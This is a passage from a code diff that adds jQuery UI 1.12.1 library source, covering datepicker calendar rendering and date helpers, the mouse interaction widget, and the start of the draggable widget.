+					day = ( dow + firstDay ) % 7;
+					thead += "<th scope='col'" + ( ( dow + firstDay + 6 ) % 7 >= 5 ? " class='ui-datepicker-week-end'" : "" ) + ">" +
+						"<span title='" + dayNames[ day ] + "'>" + dayNamesMin[ day ] + "</span></th>";
+				}
+				calender += thead + "</tr></thead><tbody>";
+				daysInMonth = this._getDaysInMonth( drawYear, drawMonth );
+				if ( drawYear === inst.selectedYear && drawMonth === inst.selectedMonth ) {
+					inst.selectedDay = Math.min( inst.selectedDay, daysInMonth );
+				}
+				leadDays = ( this._getFirstDayOfMonth( drawYear, drawMonth ) - firstDay + 7 ) % 7;
+				curRows = Math.ceil( ( leadDays + daysInMonth ) / 7 ); // calculate the number of rows to generate
+				numRows = ( isMultiMonth ? this.maxRows > curRows ? this.maxRows : curRows : curRows ); //If multiple months, use the higher number of rows (see #7043)
+				this.maxRows = numRows;
+				printDate = this._daylightSavingAdjust( new Date( drawYear, drawMonth, 1 - leadDays ) );
+				for ( dRow = 0; dRow < numRows; dRow++ ) { // create date picker rows
+					calender += "<tr>";
+					tbody = ( !showWeek ? "" : "<td class='ui-datepicker-week-col'>" +
+						this._get( inst, "calculateWeek" )( printDate ) + "</td>" );
+					for ( dow = 0; dow < 7; dow++ ) { // create date picker days
+						daySettings = ( beforeShowDay ?
+							beforeShowDay.apply( ( inst.input ? inst.input[ 0 ] : null ), [ printDate ] ) : [ true, "" ] );
+						otherMonth = ( printDate.getMonth() !== drawMonth );
+						unselectable = ( otherMonth && !selectOtherMonths ) || !daySettings[ 0 ] ||
+							( minDate && printDate < minDate ) || ( maxDate && printDate > maxDate );
+						tbody += "<td class='" +
+							( ( dow + firstDay + 6 ) % 7 >= 5 ? " ui-datepicker-week-end" : "" ) + // highlight weekends
+							( otherMonth ? " ui-datepicker-other-month" : "" ) + // highlight days from other months
+							( ( printDate.getTime() === selectedDate.getTime() && drawMonth === inst.selectedMonth && inst._keyEvent ) || // user pressed key
+							( defaultDate.getTime() === printDate.getTime() && defaultDate.getTime() === selectedDate.getTime() ) ?
+
+							// or defaultDate is current printedDate and defaultDate is selectedDate
+							" " + this._dayOverClass : "" ) + // highlight selected day
+							( unselectable ? " " + this._unselectableClass + " ui-state-disabled" : "" ) +  // highlight unselectable days
+							( otherMonth && !showOtherMonths ? "" : " " + daySettings[ 1 ] + // highlight custom dates
+							( printDate.getTime() === currentDate.getTime() ? " " + this._currentClass : "" ) + // highlight selected day
+							( printDate.getTime() === today.getTime() ? " ui-datepicker-today" : "" ) ) + "'" + // highlight today (if different)
+							( ( !otherMonth || showOtherMonths ) && daySettings[ 2 ] ? " title='" + daySettings[ 2 ].replace( /'/g, "&#39;" ) + "'" : "" ) + // cell title
+							( unselectable ? "" : " data-handler='selectDay' data-event='click' data-month='" + printDate.getMonth() + "' data-year='" + printDate.getFullYear() + "'" ) + ">" + // actions
+							( otherMonth && !showOtherMonths ? "&#xa0;" : // display for other months
+							( unselectable ? "<span class='ui-state-default'>" + printDate.getDate() + "</span>" : "<a class='ui-state-default" +
+							( printDate.getTime() === today.getTime() ? " ui-state-highlight" : "" ) +
+							( printDate.getTime() === currentDate.getTime() ? " ui-state-active" : "" ) + // highlight selected day
+							( otherMonth ? " ui-priority-secondary" : "" ) + // distinguish dates from other months
+							"' href='#'>" + printDate.getDate() + "</a>" ) ) + "</td>"; // display selectable date
+						printDate.setDate( printDate.getDate() + 1 );
+						printDate = this._daylightSavingAdjust( printDate );
+					}
+					calender += tbody + "</tr>";
+				}
+				drawMonth++;
+				if ( drawMonth > 11 ) {
+					drawMonth = 0;
+					drawYear++;
+				}
+				calender += "</tbody></table>" + ( isMultiMonth ? "</div>" +
+							( ( numMonths[ 0 ] > 0 && col === numMonths[ 1 ] - 1 ) ? "<div class='ui-datepicker-row-break'></div>" : "" ) : "" );
+				group += calender;
+			}
+			html += group;
+		}
+		html += buttonPanel;
+		inst._keyEvent = false;
+		return html;
+	},
+
+	/* Generate the month and year header. */
+	_generateMonthYearHeader: function( inst, drawMonth, drawYear, minDate, maxDate,
+			secondary, monthNames, monthNamesShort ) {
+
+		var inMinYear, inMaxYear, month, years, thisYear, determineYear, year, endYear,
+			changeMonth = this._get( inst, "changeMonth" ),
+			changeYear = this._get( inst, "changeYear" ),
+			showMonthAfterYear = this._get( inst, "showMonthAfterYear" ),
+			html = "<div class='ui-datepicker-title'>",
+			monthHtml = "";
+
+		// Month selection
+		if ( secondary || !changeMonth ) {
+			monthHtml += "<span class='ui-datepicker-month'>" + monthNames[ drawMonth ] + "</span>";
+		} else {
+			inMinYear = ( minDate && minDate.getFullYear() === drawYear );
+			inMaxYear = ( maxDate && maxDate.getFullYear() === drawYear );
+			monthHtml += "<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>";
+			for ( month = 0; month < 12; month++ ) {
+				if ( ( !inMinYear || month >= minDate.getMonth() ) && ( !inMaxYear || month <= maxDate.getMonth() ) ) {
+					monthHtml += "<option value='" + month + "'" +
+						( month === drawMonth ? " selected='selected'" : "" ) +
+						">" + monthNamesShort[ month ] + "</option>";
+				}
+			}
+			monthHtml += "</select>";
+		}
+
+		if ( !showMonthAfterYear ) {
+			html += monthHtml + ( secondary || !( changeMonth && changeYear ) ? "&#xa0;" : "" );
+		}
+
+		// Year selection
+		if ( !inst.yearshtml ) {
+			inst.yearshtml = "";
+			if ( secondary || !changeYear ) {
+				html += "<span class='ui-datepicker-year'>" + drawYear + "</span>";
+			} else {
+
+				// determine range of years to display
+				years = this._get( inst, "yearRange" ).split( ":" );
+				thisYear = new Date().getFullYear();
+				determineYear = function( value ) {
+					var year = ( value.match( /c[+\-].*/ ) ? drawYear + parseInt( value.substring( 1 ), 10 ) :
+						( value.match( /[+\-].*/ ) ? thisYear + parseInt( value, 10 ) :
+						parseInt( value, 10 ) ) );
+					return ( isNaN( year ) ? thisYear : year );
+				};
+				year = determineYear( years[ 0 ] );
+				endYear = Math.max( year, determineYear( years[ 1 ] || "" ) );
+				year = ( minDate ? Math.max( year, minDate.getFullYear() ) : year );
+				endYear = ( maxDate ? Math.min( endYear, maxDate.getFullYear() ) : endYear );
+				inst.yearshtml += "<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";
+				for ( ; year <= endYear; year++ ) {
+					inst.yearshtml += "<option value='" + year + "'" +
+						( year === drawYear ? " selected='selected'" : "" ) +
+						">" + year + "</option>";
+				}
+				inst.yearshtml += "</select>";
+
+				html += inst.yearshtml;
+				inst.yearshtml = null;
+			}
+		}
+
+		html += this._get( inst, "yearSuffix" );
+		if ( showMonthAfterYear ) {
+			html += ( secondary || !( changeMonth && changeYear ) ? "&#xa0;" : "" ) + monthHtml;
+		}
+		html += "</div>"; // Close datepicker_header
+		return html;
+	},
+
+	/* Adjust one of the date sub-fields. */
+	_adjustInstDate: function( inst, offset, period ) {
+		var year = inst.selectedYear + ( period === "Y" ? offset : 0 ),
+			month = inst.selectedMonth + ( period === "M" ? offset : 0 ),
+			day = Math.min( inst.selectedDay, this._getDaysInMonth( year, month ) ) + ( period === "D" ? offset : 0 ),
+			date = this._restrictMinMax( inst, this._daylightSavingAdjust( new Date( year, month, day ) ) );
+
+		inst.selectedDay = date.getDate();
+		inst.drawMonth = inst.selectedMonth = date.getMonth();
+		inst.drawYear = inst.selectedYear = date.getFullYear();
+		if ( period === "M" || period === "Y" ) {
+			this._notifyChange( inst );
+		}
+	},
+
+	/* Ensure a date is within any min/max bounds. */
+	_restrictMinMax: function( inst, date ) {
+		var minDate = this._getMinMaxDate( inst, "min" ),
+			maxDate = this._getMinMaxDate( inst, "max" ),
+			newDate = ( minDate && date < minDate ? minDate : date );
+		return ( maxDate && newDate > maxDate ? maxDate : newDate );
+	},
+
+	/* Notify change of month/year. */
+	_notifyChange: function( inst ) {
+		var onChange = this._get( inst, "onChangeMonthYear" );
+		if ( onChange ) {
+			onChange.apply( ( inst.input ? inst.input[ 0 ] : null ),
+				[ inst.selectedYear, inst.selectedMonth + 1, inst ] );
+		}
+	},
+
+	/* Determine the number of months to show. */
+	_getNumberOfMonths: function( inst ) {
+		var numMonths = this._get( inst, "numberOfMonths" );
+		return ( numMonths == null ? [ 1, 1 ] : ( typeof numMonths === "number" ? [ 1, numMonths ] : numMonths ) );
+	},
+
+	/* Determine the current maximum date - ensure no time components are set. */
+	_getMinMaxDate: function( inst, minMax ) {
+		return this._determineDate( inst, this._get( inst, minMax + "Date" ), null );
+	},
+
+	/* Find the number of days in a given month. */
+	_getDaysInMonth: function( year, month ) {
+		return 32 - this._daylightSavingAdjust( new Date( year, month, 32 ) ).getDate();
+	},
+
+	/* Find the day of the week of the first of a month. */
+	_getFirstDayOfMonth: function( year, month ) {
+		return new Date( year, month, 1 ).getDay();
+	},
+
+	/* Determines if we should allow a "next/prev" month display change. */
+	_canAdjustMonth: function( inst, offset, curYear, curMonth ) {
+		var numMonths = this._getNumberOfMonths( inst ),
+			date = this._daylightSavingAdjust( new Date( curYear,
+			curMonth + ( offset < 0 ? offset : numMonths[ 0 ] * numMonths[ 1 ] ), 1 ) );
+
+		if ( offset < 0 ) {
+			date.setDate( this._getDaysInMonth( date.getFullYear(), date.getMonth() ) );
+		}
+		return this._isInRange( inst, date );
+	},
+
+	/* Is the given date in the accepted range? */
+	_isInRange: function( inst, date ) {
+		var yearSplit, currentYear,
+			minDate = this._getMinMaxDate( inst, "min" ),
+			maxDate = this._getMinMaxDate( inst, "max" ),
+			minYear = null,
+			maxYear = null,
+			years = this._get( inst, "yearRange" );
+			if ( years ) {
+				yearSplit = years.split( ":" );
+				currentYear = new Date().getFullYear();
+				minYear = parseInt( yearSplit[ 0 ], 10 );
+				maxYear = parseInt( yearSplit[ 1 ], 10 );
+				if ( yearSplit[ 0 ].match( /[+\-].*/ ) ) {
+					minYear += currentYear;
+				}
+				if ( yearSplit[ 1 ].match( /[+\-].*/ ) ) {
+					maxYear += currentYear;
+				}
+			}
+
+		return ( ( !minDate || date.getTime() >= minDate.getTime() ) &&
+			( !maxDate || date.getTime() <= maxDate.getTime() ) &&
+			( !minYear || date.getFullYear() >= minYear ) &&
+			( !maxYear || date.getFullYear() <= maxYear ) );
+	},
+
+	/* Provide the configuration settings for formatting/parsing. */
+	_getFormatConfig: function( inst ) {
+		var shortYearCutoff = this._get( inst, "shortYearCutoff" );
+		shortYearCutoff = ( typeof shortYearCutoff !== "string" ? shortYearCutoff :
+			new Date().getFullYear() % 100 + parseInt( shortYearCutoff, 10 ) );
+		return { shortYearCutoff: shortYearCutoff,
+			dayNamesShort: this._get( inst, "dayNamesShort" ), dayNames: this._get( inst, "dayNames" ),
+			monthNamesShort: this._get( inst, "monthNamesShort" ), monthNames: this._get( inst, "monthNames" ) };
+	},
+
+	/* Format the given date for display. */
+	_formatDate: function( inst, day, month, year ) {
+		if ( !day ) {
+			inst.currentDay = inst.selectedDay;
+			inst.currentMonth = inst.selectedMonth;
+			inst.currentYear = inst.selectedYear;
+		}
+		var date = ( day ? ( typeof day === "object" ? day :
+			this._daylightSavingAdjust( new Date( year, month, day ) ) ) :
+			this._daylightSavingAdjust( new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) );
+		return this.formatDate( this._get( inst, "dateFormat" ), date, this._getFormatConfig( inst ) );
+	}
+} );
+
+/*
+ * Bind hover events for datepicker elements.
+ * Done via delegate so the binding only occurs once in the lifetime of the parent div.
+ * Global datepicker_instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker.
+ */
+function datepicker_bindHover( dpDiv ) {
+	var selector = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";
+	return dpDiv.on( "mouseout", selector, function() {
+			$( this ).removeClass( "ui-state-hover" );
+			if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) {
+				$( this ).removeClass( "ui-datepicker-prev-hover" );
+			}
+			if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) {
+				$( this ).removeClass( "ui-datepicker-next-hover" );
+			}
+		} )
+		.on( "mouseover", selector, datepicker_handleMouseover );
+}
+
+function datepicker_handleMouseover() {
+	if ( !$.datepicker._isDisabledDatepicker( datepicker_instActive.inline ? datepicker_instActive.dpDiv.parent()[ 0 ] : datepicker_instActive.input[ 0 ] ) ) {
+		$( this ).parents( ".ui-datepicker-calendar" ).find( "a" ).removeClass( "ui-state-hover" );
+		$( this ).addClass( "ui-state-hover" );
+		if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) {
+			$( this ).addClass( "ui-datepicker-prev-hover" );
+		}
+		if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) {
+			$( this ).addClass( "ui-datepicker-next-hover" );
+		}
+	}
+}
+
+/* jQuery extend now ignores nulls! */
+function datepicker_extendRemove( target, props ) {
+	$.extend( target, props );
+	for ( var name in props ) {
+		if ( props[ name ] == null ) {
+			target[ name ] = props[ name ];
+		}
+	}
+	return target;
+}
+
+/* Invoke the datepicker functionality.
+   @param  options  string - a command, optionally followed by additional parameters or
+					Object - settings for attaching new datepicker functionality
+   @return  jQuery object */
+$.fn.datepicker = function( options ) {
+
+	/* Verify an empty collection wasn't passed - Fixes #6976 */
+	if ( !this.length ) {
+		return this;
+	}
+
+	/* Initialise the date picker. */
+	if ( !$.datepicker.initialized ) {
+		$( document ).on( "mousedown", $.datepicker._checkExternalClick );
+		$.datepicker.initialized = true;
+	}
+
+	/* Append datepicker main container to body if not exist. */
+	if ( $( "#" + $.datepicker._mainDivId ).length === 0 ) {
+		$( "body" ).append( $.datepicker.dpDiv );
+	}
+
+	var otherArgs = Array.prototype.slice.call( arguments, 1 );
+	if ( typeof options === "string" && ( options === "isDisabled" || options === "getDate" || options === "widget" ) ) {
+		return $.datepicker[ "_" + options + "Datepicker" ].
+			apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) );
+	}
+	if ( options === "option" && arguments.length === 2 && typeof arguments[ 1 ] === "string" ) {
+		return $.datepicker[ "_" + options + "Datepicker" ].
+			apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) );
+	}
+	return this.each( function() {
+		typeof options === "string" ?
+			$.datepicker[ "_" + options + "Datepicker" ].
+				apply( $.datepicker, [ this ].concat( otherArgs ) ) :
+			$.datepicker._attachDatepicker( this, options );
+	} );
+};
+
+$.datepicker = new Datepicker(); // singleton instance
+$.datepicker.initialized = false;
+$.datepicker.uuid = new Date().getTime();
+$.datepicker.version = "1.12.1";
+
+var widgetsDatepicker = $.datepicker;
+
+
+
+
+// This file is deprecated
+var ie = $.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() );
+
+/*!
+ * jQuery UI Mouse 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Mouse
+//>>group: Widgets
+//>>description: Abstracts mouse-based interactions to assist in creating certain widgets.
+//>>docs: http://api.jqueryui.com/mouse/
+
+
+
+var mouseHandled = false;
+$( document ).on( "mouseup", function() {
+	mouseHandled = false;
+} );
+
+var widgetsMouse = $.widget( "ui.mouse", {
+	version: "1.12.1",
+	options: {
+		cancel: "input, textarea, button, select, option",
+		distance: 1,
+		delay: 0
+	},
+	_mouseInit: function() {
+		var that = this;
+
+		this.element
+			.on( "mousedown." + this.widgetName, function( event ) {
+				return that._mouseDown( event );
+			} )
+			.on( "click." + this.widgetName, function( event ) {
+				if ( true === $.data( event.target, that.widgetName + ".preventClickEvent" ) ) {
+					$.removeData( event.target, that.widgetName + ".preventClickEvent" );
+					event.stopImmediatePropagation();
+					return false;
+				}
+			} );
+
+		this.started = false;
+	},
+
+	// TODO: make sure destroying one instance of mouse doesn't mess with
+	// other instances of mouse
+	_mouseDestroy: function() {
+		this.element.off( "." + this.widgetName );
+		if ( this._mouseMoveDelegate ) {
+			this.document
+				.off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
+				.off( "mouseup." + this.widgetName, this._mouseUpDelegate );
+		}
+	},
+
+	_mouseDown: function( event ) {
+
+		// don't let more than one widget handle mouseStart
+		if ( mouseHandled ) {
+			return;
+		}
+
+		this._mouseMoved = false;
+
+		// We may have missed mouseup (out of window)
+		( this._mouseStarted && this._mouseUp( event ) );
+
+		this._mouseDownEvent = event;
+
+		var that = this,
+			btnIsLeft = ( event.which === 1 ),
+
+			// event.target.nodeName works around a bug in IE 8 with
+			// disabled inputs (#7620)
+			elIsCancel = ( typeof this.options.cancel === "string" && event.target.nodeName ?
+				$( event.target ).closest( this.options.cancel ).length : false );
+		if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) {
+			return true;
+		}
+
+		this.mouseDelayMet = !this.options.delay;
+		if ( !this.mouseDelayMet ) {
+			this._mouseDelayTimer = setTimeout( function() {
+				that.mouseDelayMet = true;
+			}, this.options.delay );
+		}
+
+		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
+			this._mouseStarted = ( this._mouseStart( event ) !== false );
+			if ( !this._mouseStarted ) {
+				event.preventDefault();
+				return true;
+			}
+		}
+
+		// Click event may never have fired (Gecko & Opera)
+		if ( true === $.data( event.target, this.widgetName + ".preventClickEvent" ) ) {
+			$.removeData( event.target, this.widgetName + ".preventClickEvent" );
+		}
+
+		// These delegates are required to keep context
+		this._mouseMoveDelegate = function( event ) {
+			return that._mouseMove( event );
+		};
+		this._mouseUpDelegate = function( event ) {
+			return that._mouseUp( event );
+		};
+
+		this.document
+			.on( "mousemove." + this.widgetName, this._mouseMoveDelegate )
+			.on( "mouseup." + this.widgetName, this._mouseUpDelegate );
+
+		event.preventDefault();
+
+		mouseHandled = true;
+		return true;
+	},
+
+	_mouseMove: function( event ) {
+
+		// Only check for mouseups outside the document if you've moved inside the document
+		// at least once. This prevents the firing of mouseup in the case of IE<9, which will
+		// fire a mousemove event if content is placed under the cursor. See #7778
+		// Support: IE <9
+		if ( this._mouseMoved ) {
+
+			// IE mouseup check - mouseup happened when mouse was out of window
+			if ( $.ui.ie && ( !document.documentMode || document.documentMode < 9 ) &&
+					!event.button ) {
+				return this._mouseUp( event );
+
+			// Iframe mouseup check - mouseup occurred in another document
+			} else if ( !event.which ) {
+
+				// Support: Safari <=8 - 9
+				// Safari sets which to 0 if you press any of the following keys
+				// during a drag (#14461)
+				if ( event.originalEvent.altKey || event.originalEvent.ctrlKey ||
+						event.originalEvent.metaKey || event.originalEvent.shiftKey ) {
+					this.ignoreMissingWhich = true;
+				} else if ( !this.ignoreMissingWhich ) {
+					return this._mouseUp( event );
+				}
+			}
+		}
+
+		if ( event.which || event.button ) {
+			this._mouseMoved = true;
+		}
+
+		if ( this._mouseStarted ) {
+			this._mouseDrag( event );
+			return event.preventDefault();
+		}
+
+		if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) {
+			this._mouseStarted =
+				( this._mouseStart( this._mouseDownEvent, event ) !== false );
+			( this._mouseStarted ? this._mouseDrag( event ) : this._mouseUp( event ) );
+		}
+
+		return !this._mouseStarted;
+	},
+
+	_mouseUp: function( event ) {
+		this.document
+			.off( "mousemove." + this.widgetName, this._mouseMoveDelegate )
+			.off( "mouseup." + this.widgetName, this._mouseUpDelegate );
+
+		if ( this._mouseStarted ) {
+			this._mouseStarted = false;
+
+			if ( event.target === this._mouseDownEvent.target ) {
+				$.data( event.target, this.widgetName + ".preventClickEvent", true );
+			}
+
+			this._mouseStop( event );
+		}
+
+		if ( this._mouseDelayTimer ) {
+			clearTimeout( this._mouseDelayTimer );
+			delete this._mouseDelayTimer;
+		}
+
+		this.ignoreMissingWhich = false;
+		mouseHandled = false;
+		event.preventDefault();
+	},
+
+	_mouseDistanceMet: function( event ) {
+		return ( Math.max(
+				Math.abs( this._mouseDownEvent.pageX - event.pageX ),
+				Math.abs( this._mouseDownEvent.pageY - event.pageY )
+			) >= this.options.distance
+		);
+	},
+
+	_mouseDelayMet: function( /* event */ ) {
+		return this.mouseDelayMet;
+	},
+
+	// These are placeholder methods, to be overriden by extending plugin
+	_mouseStart: function( /* event */ ) {},
+	_mouseDrag: function( /* event */ ) {},
+	_mouseStop: function( /* event */ ) {},
+	_mouseCapture: function( /* event */ ) { return true; }
+} );
+
+
+
+
+// $.ui.plugin is deprecated. Use $.widget() extensions instead.
+var plugin = $.ui.plugin = {
+	add: function( module, option, set ) {
+		var i,
+			proto = $.ui[ module ].prototype;
+		for ( i in set ) {
+			proto.plugins[ i ] = proto.plugins[ i ] || [];
+			proto.plugins[ i ].push( [ option, set[ i ] ] );
+		}
+	},
+	call: function( instance, name, args, allowDisconnected ) {
+		var i,
+			set = instance.plugins[ name ];
+
+		if ( !set ) {
+			return;
+		}
+
+		if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode ||
+				instance.element[ 0 ].parentNode.nodeType === 11 ) ) {
+			return;
+		}
+
+		for ( i = 0; i < set.length; i++ ) {
+			if ( instance.options[ set[ i ][ 0 ] ] ) {
+				set[ i ][ 1 ].apply( instance.element, args );
+			}
+		}
+	}
+};
+
+
+
+var safeBlur = $.ui.safeBlur = function( element ) {
+
+	// Support: IE9 - 10 only
+	// If the <body> is blurred, IE will switch windows, see #9420
+	if ( element && element.nodeName.toLowerCase() !== "body" ) {
+		$( element ).trigger( "blur" );
+	}
+};
+
+
+/*!
+ * jQuery UI Draggable 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Draggable
+//>>group: Interactions
+//>>description: Enables dragging functionality for any element.
+//>>docs: http://api.jqueryui.com/draggable/
+//>>demos: http://jqueryui.com/draggable/
+//>>css.structure: ../../themes/base/draggable.css
+
+
+
+$.widget( "ui.draggable", $.ui.mouse, {
+	version: "1.12.1",
+	widgetEventPrefix: "drag",
+	options: {
+		addClasses: true,
+		appendTo: "parent",
+		axis: false,
+		connectToSortable: false,
+		containment: false,
+		cursor: "auto",
+		cursorAt: false,
+		grid: false,
+		handle: false,
+		helper: "original",
+		iframeFix: false,
+		opacity: false,
+		refreshPositions: false,
+		revert: false,
+		revertDuration: 500,
+		scope: "default",
+		scroll: true,
+		scrollSensitivity: 20,
+		scrollSpeed: 20,
+		snap: false,
+		snapMode: "both",
+		snapTolerance: 20,
+		stack: false,
+		zIndex: false,
+
+		// Callbacks
+		drag: null,
+		start: null,
+		stop: null
+	},
+	_create: function() {
+
+		if ( this.options.helper === "original" ) {
+			this._setPositionRelative();
+		}
+		if ( this.options.addClasses ) {
+			this._addClass( "ui-draggable" );
+		}
+		this._setHandleClassName();
+
+		this._mouseInit();
+	},
+
+	_setOption: function( key, value ) {
+		this._super( key, value );
+		if ( key === "handle" ) {
+			this._removeHandleClassName();
+			this._setHandleClassName();
+		}
+	},
+
+	_destroy: function() {
+		if ( ( this.helper || this.element ).is( ".ui-draggable-dragging" ) ) {
+			this.destroyOnClear = true;
+			return;
+		}
+		this._removeHandleClassName();
+		this._mouseDestroy();
+	},
+
+	_mouseCapture: function( event ) {
+		var o = this.options;
+
+		// Among others, prevent a drag on a resizable-handle
+		if ( this.helper || o.disabled ||
+				$( event.target ).closest( ".ui-resizable-handle" ).length > 0 ) {
+			return false;
+		}
+
+		//Quit if we're not on a valid handle
+		this.handle = this._getHandle( event );
+		if ( !this.handle ) {
+			return false;
+		}
+
+		this._blurActiveElement( event );
+
+		this._blockFrames( o.iframeFix === true ? "iframe" : o.iframeFix );
+
+		return true;
+
+	},
+
+	_blockFrames: function( selector ) {
+		this.iframeBlocks = this.document.find( selector ).map( function() {
+			var iframe = $( this );
+
+			return $( "<div>" )
+				.css( "position", "absolute" )
+				.appendTo( iframe.parent() )
+				.outerWidth( iframe.outerWidth() )
+				.outerHeight( iframe.outerHeight() )
+				.offset( iframe.offset() )[ 0 ];
+		} );
+	},
+
+	_unblockFrames: function() {
+		if ( this.iframeBlocks ) {
+			this.iframeBlocks.remove();
+			delete this.iframeBlocks;
+		}
+	},
+
+	_blurActiveElement: function( event ) {
+		var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ),
+			target = $( event.target );
+
+		// Don't blur if the event occurred on an element that is within
+		// the currently focused element
+		// See #10527, #12472
+		if ( target.closest( activeElement ).length ) {
+			return;
+		}
+
+		// Blur any element that currently has focus, see #4261
+		$.ui.safeBlur( activeElement );
+	},
+
+	_mouseStart: function( event ) {
+
+		var o = this.options;
+
+		//Create and append the visible helper
+		this.helper = this._createHelper( event );
+
+		this._addClass( this.helper, "ui-draggable-dragging" );
+
+		//Cache the helper size
+		this._cacheHelperProportions();
+
+		//If ddmanager is used for droppables, set the global draggable
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.current = this;
+		}
+
+		/*
+		 * - Position generation -
+		 * This block generates everything position related - it's the core of draggables.
+		 */
+
+		//Cache the margins of the original element
+		this._cacheMargins();
+
+		//Store the helper's css position
+		this.cssPosition = this.helper.css( "position" );
+		this.scrollParent = this.helper.scrollParent( true );
+		this.offsetParent = this.helper.offsetParent();
+		this.hasFixedAncestor = this.helper.parents().filter( function() {
+				return $( this ).css( "position" ) === "fixed";
+			} ).length > 0;
+
+		//The element's absolute position on the page minus margins
+		this.positionAbs = this.element.offset();
+		this._refreshOffsets( event );
+
+		//Generate the original position
+		this.originalPosition = this.position = this._generatePosition( event, false );
+		this.originalPageX = event.pageX;
+		this.originalPageY = event.pageY;
+
+		//Adjust the mouse offset relative to the helper if "cursorAt" is supplied
+		( o.cursorAt && this._adjustOffsetFromHelper( o.cursorAt ) );
+
+		//Set a containment if given in the options
+		this._setContainment();
+
+		//Trigger event + callbacks
+		if ( this._trigger( "start", event ) === false ) {
+			this._clear();
+			return false;
+		}
+
+		//Recache the helper size
+		this._cacheHelperProportions();
+
+		//Prepare the droppable offsets
+		if ( $.ui.ddmanager && !o.dropBehaviour ) {
+			$.ui.ddmanager.prepareOffsets( this, event );
+		}
+
+		// Execute the drag once - this causes the helper not to be visible before getting its
+		// correct position
+		this._mouseDrag( event, true );
+
+		// If the ddmanager is used for droppables, inform the manager that dragging has started
+		// (see #5003)
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.dragStart( this, event );
+		}
+
+		return true;
+	},
+
+	_refreshOffsets: function( event ) {
+		this.offset = {
+			top: this.positionAbs.top - this.margins.top,
+			left: this.positionAbs.left - this.margins.left,
+			scroll: false,
+			parent: this._getParentOffset(),
+			relative: this._getRelativeOffset()
+		};
+
+		this.offset.click = {
+			left: event.pageX - this.offset.left,
+			top: event.pageY - this.offset.top
+		};
+	},
+
+	_mouseDrag: function( event, noPropagation ) {
+
+		// reset any necessary cached properties (see #5009)
+		if ( this.hasFixedAncestor ) {
+			this.offset.parent = this._getParentOffset();
+		}
+
+		//Compute the helpers position
+		this.position = this._generatePosition( event, true );
+		this.positionAbs = this._convertPositionTo( "absolute" );
+
+		//Call plugins and callbacks and use the resulting position if something is returned
+		if ( !noPropagation ) {
+			var ui = this._uiHash();
+			if ( this._trigger( "drag", event, ui ) === false ) {
+				this._mouseUp( new $.Event( "mouseup", event ) );
+				return false;
+			}
+			this.position = ui.position;
+		}
+
+		this.helper[ 0 ].style.left = this.position.left + "px";
+		this.helper[ 0 ].style.top = this.position.top + "px";
+
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.drag( this, event );
+		}
+
+		return false;
+	},
+
+	_mouseStop: function( event ) {
+
+		//If we are using droppables, inform the manager about the drop
+		var that = this,
+			dropped = false;
+		if ( $.ui.ddmanager && !this.options.dropBehaviour ) {
+			dropped = $.ui.ddmanager.drop( this, event );
+		}
+
+		//if a drop comes from outside (a sortable)
+		if ( this.dropped ) {
+			dropped = this.dropped;
+			this.dropped = false;
+		}
+
+		if ( ( this.options.revert === "invalid" && !dropped ) ||
+				( this.options.revert === "valid" && dropped ) ||
+				this.options.revert === true || ( $.isFunction( this.options.revert ) &&
+				this.options.revert.call( this.element, dropped ) )
+		) {
+			$( this.helper ).animate(
+				this.originalPosition,
+				parseInt( this.options.revertDuration, 10 ),
+				function() {
+					if ( that._trigger( "stop", event ) !== false ) {
+						that._clear();
+					}
+				}
+			);
+		} else {
+			if ( this._trigger( "stop", event ) !== false ) {
+				this._clear();
+			}
+		}
+
+		return false;
+	},
+
+	_mouseUp: function( event ) {
+		this._unblockFrames();
+
+		// If the ddmanager is used for droppables, inform the manager that dragging has stopped
+		// (see #5003)
+		if ( $.ui.ddmanager ) {
+			$.ui.ddmanager.dragStop( this, event );
+		}
+
+		// Only need to focus if the event occurred on the draggable itself, see #10527
+		if ( this.handleElement.is( event.target ) ) {
+
+			// The interaction is over; whether or not the click resulted in a drag,
+			// focus the element
+			this.element.trigger( "focus" );
+		}
+
+		return $.ui.mouse.prototype._mouseUp.call( this, event );
+	},
+
+	cancel: function() {
+
+		if ( this.helper.is( ".ui-draggable-dragging" ) ) {
+			this._mouseUp( new $.Event( "mouseup", { target: this.element[ 0 ] } ) );
+		} else {
+			this._clear();
+		}
+
+		return this;
+
+	},
+
+	_getHandle: function( event ) {
+		return this.options.handle ?
+			!!$( event.target ).closest( this.element.find( this.options.handle ) ).length :
+			true;
+	},
+
+	_setHandleClassName: function() {
+		this.handleElement = this.options.handle ?
+			this.element.find( this.options.handle ) : this.element;
+		this._addClass( this.handleElement, "ui-draggable-handle" );
+	},
+
+	_removeHandleClassName: function() {
+		this._removeClass( this.handleElement, "ui-draggable-handle" );
+	},
+
+	_createHelper: function( event ) {
+
+		var o = this.options,
+			helperIsFunction = $.isFunction( o.helper ),
+			helper = helperIsFunction ?
+				$( o.helper.apply( this.element[ 0 ], [ event ] ) ) :
+				( o.helper === "clone" ?
+					this.element.clone().removeAttr( "id" ) :
+					this.element );
+
+		if ( !helper.parents( "body" ).length ) {
